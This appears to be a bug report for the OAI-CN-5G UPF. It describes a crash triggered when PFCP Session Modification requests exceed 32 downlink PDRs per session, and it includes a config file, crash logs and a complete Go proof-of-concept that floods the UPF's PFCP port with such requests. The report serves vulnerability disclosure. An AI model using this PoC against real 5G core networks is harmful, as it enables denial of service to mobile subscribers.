Skip to content

[Bug]: UPF Crash on PFCP Session Modification Request when DL PDR count exceeds 32

OAI-CN-5G Release, Revision, or Tag

Description

In BPF datapath mode, SessionManager::processPDRs() enforces MAX_PDR_PER_SESSION = 32. PFCP Session Modification requests that add more than 32 downlink PDRs for the same session throw an uncaught std::runtime_error, leading to UPF crash.

Config

config.yaml

      ################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1  (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
#      contact@openairinterface.org
################################################################################

# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter

############# Common configuration

# Log level for all the NFs
log_level:
  general: debug

# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
  general: yes
  
http_version: 2

############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
  amf:
    host: oai-amf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n2:
      interface_name: eth0
      port: 38412
  smf:
    host: oai-smf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n4:
      interface_name: eth0
      port: 8805
  upf:
    host: oai-upf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth1
    n3:
      interface_name: eth0
      port: 2152
    n4:
      interface_name: eth0
      port: 8805
    n6:
      interface_name: eth1
    n9:
      interface_name: eth0
      port: 2152
  udm:
    host: oai-udm
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  udr:
    host: oai-udr
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  ausf:
    host: oai-ausf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  nrf:
    host: oai-nrf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0

#### Common for UDR and AMF
database:
  host: mysql
  user: test
  type: mysql
  password: test
  database_name: oai_db
  generate_random: true
  connection_timeout: 300 # seconds

## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
  - &embb_slice
    sst: 1

############## NF-specific configuration
amf:
  pid_directory: "/var/run"
  amf_name: "OAI-AMF"
  # This really depends on if we want to keep the "mini" version or not
  support_features_options:
    enable_simple_scenario: no
    enable_nssf: no
    enable_smf_selection: yes
    use_external_udm: no
  relative_capacity: 30
  statistics_timer_interval: 20  #in seconds
  emergency_support: false
  served_guami_list:
    - mcc: 001
      mnc: 01
      amf_region_id: 01
      amf_set_id: 001
      amf_pointer: 01
  plmn_support_list:
    - mcc: 001
      mnc: 01
      tac: 0x0001
      nssai:
        - *embb_slice
  supported_integrity_algorithms:
    - "NIA1"
    - "NIA2"
  supported_encryption_algorithms:
    - "NEA0"
    - "NEA1"
    - "NEA2"

smf:
  ue_mtu: 1500
  support_features:
    use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
    use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
  # we resolve from NRF, this is just to configure usage_reporting
  upfs:
    - host: oai-upf
      config:
        enable_usage_reporting: no
  ue_dns:
    primary_ipv4: "1.1.1.1"
    primary_ipv6: "2001:4860:4860::8888"
    secondary_ipv4: "8.8.8.8"
    secondary_ipv6: "2001:4860:4860::8888"
  ims:
    pcscf_ipv4: "192.168.70.139"
    pcscf_ipv6: "fe80::7915:f408:1787:db8b"
  # the DNN you configure here should be configured in "dnns"
  # follows the SmfInfo datatype from 3GPP TS 29.510
  smf_info:
    sNssaiSmfInfoList:
      - sNssai: *embb_slice
        dnnSmfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"
  local_subscription_infos:
    - single_nssai: *embb_slice
      dnn: "oai"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "openairinterface"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "ims"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "default"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"

upf:
  support_features:
    enable_bpf_datapath: yes    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
    enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off
  remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW
  smfs:
    - host: oai-smf            # To be used for PFCP association in case of no-NRF
  upf_info:
    sNssaiUpfInfoList:
      - sNssai: *embb_slice
        dnnUpfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"

## DNN configuration
dnns:
  - dnn: "oai"
    pdu_session_type: "IPV4"
    ipv4_subnet: "10.0.0.0/24"
  - dnn: "openairinterface"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.1.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "ims"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.9.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "default"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.255.0/24"
    ipv6_prefix: "2001:1:2::/64"

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc

  2. Create a main.go and paste the code below:

    package main
    
    import (
    	"flag"
    	"fmt"
    	"log"
    	"math/rand"
    	"net"
    	"sync/atomic"
    	"time"
    
    	"github.com/wmnsk/go-pfcp/ie"
    	"github.com/wmnsk/go-pfcp/message"
    )
    
    type pfcpClient struct {
    	conn    *net.UDPConn
    	timeout time.Duration
    	seq     uint32
    }
    
    func newPFCPClient(addr string, timeout time.Duration) (*pfcpClient, error) {
    	udpAddr, err := net.ResolveUDPAddr("udp", addr)
    	if err != nil {
    		return nil, err
    	}
    	conn, err := net.DialUDP("udp", nil, udpAddr)
    	if err != nil {
    		return nil, err
    	}
    	return &pfcpClient{
    		conn:    conn,
    		timeout: timeout,
    		seq:     uint32(rand.Intn(0xffffff)),
    	}, nil
    }
    
    func (c *pfcpClient) close() {
    	_ = c.conn.Close()
    }
    
    func (c *pfcpClient) nextSeq() uint32 {
    	return atomic.AddUint32(&c.seq, 1)
    }
    
    func (c *pfcpClient) send(msg message.Message) (message.Message, error) {
    	payload := make([]byte, msg.MarshalLen())
    	if err := msg.MarshalTo(payload); err != nil {
    		return nil, err
    	}
    	if _, err := c.conn.Write(payload); err != nil {
    		return nil, err
    	}
    	_ = c.conn.SetReadDeadline(time.Now().Add(c.timeout))
    	buf := make([]byte, 4096)
    	n, _, err := c.conn.ReadFromUDP(buf)
    	if err != nil {
    		return nil, err
    	}
    	return message.Parse(buf[:n])
    }
    
    func (c *pfcpClient) associate(cpIP net.IP) error {
    	req := message.NewAssociationSetupRequest(
    		c.nextSeq(),
    		ie.NewNodeID(cpIP.String(), "", ""),
    		ie.NewRecoveryTimeStamp(time.Now()),
    	)
    	resp, err := c.send(req)
    	if err != nil {
    		return err
    	}
    	if asr, ok := resp.(*message.AssociationSetupResponse); ok {
    		if asr.Cause != nil {
    			if cause, _ := asr.Cause.Cause(); cause != ie.CauseRequestAccepted {
    				return fmt.Errorf("association rejected (cause=%d)", cause)
    			}
    		}
    		return nil
    	}
    	return fmt.Errorf("unexpected association response %T", resp)
    }
    
    type sessionHandle struct {
    	cpSEID  uint64
    	upfSEID uint64
    }
    
    func randomSEID() uint64 {
    	const mask = (1 << 60) - 1
    	return uint64(rand.Int63()) & mask
    }
    
    func newDLCreateFAR(farID uint32, outerTEID uint32, gnbIP net.IP) *ie.IE {
    	return ie.NewCreateFAR(
    		ie.NewFARID(farID),
    		ie.NewApplyAction(0x02),
    		ie.NewForwardingParameters(
    			ie.NewDestinationInterface(ie.DstInterfaceAccess),
    			ie.NewOuterHeaderCreation(0x0100, outerTEID, gnbIP.String(), "", 0, 0, 0),
    		),
    	)
    }
    
    func newDLCreatePDR(pdrID uint16, precedence uint32, ueIP net.IP, farID uint32) *ie.IE {
    	return ie.NewCreatePDR(
    		ie.NewPDRID(pdrID),
    		ie.NewPrecedence(precedence),
    		ie.NewPDI(
    			ie.NewSourceInterface(ie.SrcInterfaceCore),
    			ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0),
    		),
    		ie.NewFARID(farID),
    	)
    }
    
    func (c *pfcpClient) setupDLSession(cpIP, gnbIP, ueIP net.IP, farID uint32, pdrID uint16, outerTEID uint32) (*sessionHandle, error) {
    	cpSEID := randomSEID()
    	req := message.NewSessionEstablishmentRequest(0, 0, cpSEID, c.nextSeq(), 0,
    		ie.NewNodeID(cpIP.String(), "", ""),
    		ie.NewFSEID(cpSEID, cpIP, nil),
    		newDLCreateFAR(farID, outerTEID, gnbIP),
    		newDLCreatePDR(pdrID, 100, ueIP, farID),
    	)
    	msg, err := c.send(req)
    	if err != nil {
    		return nil, err
    	}
    	resp, ok := msg.(*message.SessionEstablishmentResponse)
    	if !ok {
    		return nil, fmt.Errorf("unexpected response %T", msg)
    	}
    	if resp.Cause != nil {
    		if cause, _ := resp.Cause.Cause(); cause != ie.CauseRequestAccepted {
    			return nil, fmt.Errorf("session rejected (cause=%d)", cause)
    		}
    	}
    	if resp.UPFSEID == nil {
    		return nil, fmt.Errorf("missing UPF SEID in response")
    	}
    	upf, err := resp.UPFSEID.FSEID()
    	if err != nil {
    		return nil, err
    	}
    	return &sessionHandle{
    		cpSEID:  cpSEID,
    		upfSEID: upf.SEID,
    	}, nil
    }
    
    func (c *pfcpClient) addDownlinkPDR(session *sessionHandle, cpIP, gnbIP, ueIP net.IP, farID uint32, pdrID uint16, precedence uint32, outerTEID uint32) error {
    	req := message.NewSessionModificationRequest(0, 0, session.upfSEID, c.nextSeq(), 0,
    		ie.NewFSEID(session.cpSEID, cpIP, nil),
    		newDLCreateFAR(farID, outerTEID, gnbIP),
    		newDLCreatePDR(pdrID, precedence, ueIP, farID),
    	)
    	_, err := c.send(req)
    	return err
    }
    
    func main() {
    	var (
    		pfcpAddr  = flag.String("pfcp", "192.168.70.134:8805", "PFCP target (host:port)")
    		cpIPStr   = flag.String("cp-ip", "127.0.0.1", "Control-plane IPv4 (used as NodeID)")
    		gnbIPStr  = flag.String("gnb-ip", "192.168.70.134", "gNB IPv4 used in FAR outer header creation")
    		ueIPStr   = flag.String("ue-ip", "12.1.1.10", "UE IPv4 for downlink PDRs")
    		timeout   = flag.Duration("timeout", 5*time.Second, "PFCP request timeout")
    		mods      = flag.Int("mods", 64, "Number of Session Modification bursts")
    		baseFar   = flag.Uint("base-far", 5000, "Starting FAR ID for injected rules")
    		basePdr   = flag.Uint("base-pdr", 6000, "Starting PDR ID for injected rules")
    		outerTEID = flag.Uint("outer-teid", 0xcafebabe, "TEID used in Outer Header Creation")
    	)
    	flag.Parse()
    
    	cpIP := net.ParseIP(*cpIPStr)
    	gnbIP := net.ParseIP(*gnbIPStr)
    	ueIP := net.ParseIP(*ueIPStr)
    	if cpIP == nil || gnbIP == nil || ueIP == nil {
    		log.Fatal("cp-ip, gnb-ip, and ue-ip must be valid IPv4 addresses")
    	}
    
    	client, err := newPFCPClient(*pfcpAddr, *timeout)
    	if err != nil {
    		log.Fatalf("failed to create PFCP client: %v", err)
    	}
    	defer client.close()
    
    	if err := client.associate(cpIP); err != nil {
    		log.Fatalf("PFCP association failed: %v", err)
    	}
    	log.Println("[+] PFCP association established")
    
    	session, err := client.setupDLSession(cpIP, gnbIP, ueIP, uint32(*baseFar), uint16(*basePdr), uint32(*outerTEID))
    	if err != nil {
    		log.Fatalf("failed to create baseline session: %v", err)
    	}
    	log.Printf("[+] Baseline session established: CP SEID %#x, UPF SEID %#x", session.cpSEID, session.upfSEID)
    
    	for i := 0; i < *mods; i++ {
    		farID := uint32(*baseFar) + uint32(i) + 1
    		pdrID := uint16(*basePdr) + uint16(i) + 1
    		precedence := uint32(200 + i)
    		if err := client.addDownlinkPDR(session, cpIP, gnbIP, ueIP, farID, pdrID, precedence, uint32(*outerTEID)); err != nil {
    			log.Fatalf("Session Modification %d failed: %v", i+1, err)
    		}
    		if (i+1)%10 == 0 {
    			log.Printf("[*] Sent %d/%d modifications", i+1, *mods)
    		}
    	}
    	log.Printf("[+] Completed %d Session Modification bursts", *mods)
    	log.Println("[!] If the UPF did not crash, increase -mods or observe logs for 'Number of requested PDRs exceeds ...'")
    }
  3. Download required libraries: go mod tidy

  4. Run the program with the upf pfcp server address:

    go run ./main.go -pfcp 192.168.70.134:8805 -cp-ip 127.0.0.1 -gnb-ip 192.168.70.134 -ue-ip 12.1.1.10 -mods 40 -base-far 5000 -base-pdr 6000

Logs

[2025-11-17 11:26:45.863] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-11-17 11:26:45.863] [upf_app] [debug] The same subnet
[2025-11-17 11:26:45.865] [upf_n4 ] [info] handle_receive(117 bytes)
[2025-11-17 11:26:45.867] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x1 
[2025-11-17 11:26:45.867] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-11-17 11:26:45.867] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1 
[2025-11-17 11:26:45.867] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x1 
[2025-11-17 11:26:45.867] [upf_app] [info] Modify datapath
[2025-11-17 11:26:45.867] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x1 
[2025-11-17 11:26:45.867] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-11-17 11:26:45.867] [upf_app] [debug] Retrieving teid from session seid 0x1 
[2025-11-17 11:26:45.867] [upf_app] [debug] Session seid 0x1 has teid 0xcafebabe 
[2025-11-17 11:26:45.867] [upf_app] [error] Number of PDRs within a PDU session exceeds 32, please either increase this number or remove some PDRs
[2025-11-17 11:26:45.946] [upf_app] [debug] There are some programs in LINKED state
[2025-11-17 11:26:45.946] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called after throwing an instance of 'std::runtime_error'
  what():  Number of requested PDRs exceeds the allocated size for PDRs vector:
[2025-11-17 11:26:46.287] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-17 11:26:46.287] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-17 11:26:46.287] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-17 11:26:46.287] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-17 11:26:46.293] [system ] [info] Caught signal 11
[2025-11-17 11:26:46.293] [common] [info] Waiting ITTI tasks closed
[2025-11-17 11:26:46.299] [asc_cmd] [info] Received terminate message
[2025-11-17 11:26:46.299] [upf_n4 ] [info] Received terminate message
terminate called recursively

Expected Behaviour

When a modification request would exceed the PDR quota, the UPF should reject the request (e.g., CauseResourcesNotAvailable) and keep the existing session intact.

Observed Behaviour

After ~33 CreatePDR additions, the UPF logs “Number of requested PDRs exceeds …”, aborts with std::terminate, and the UPF crash.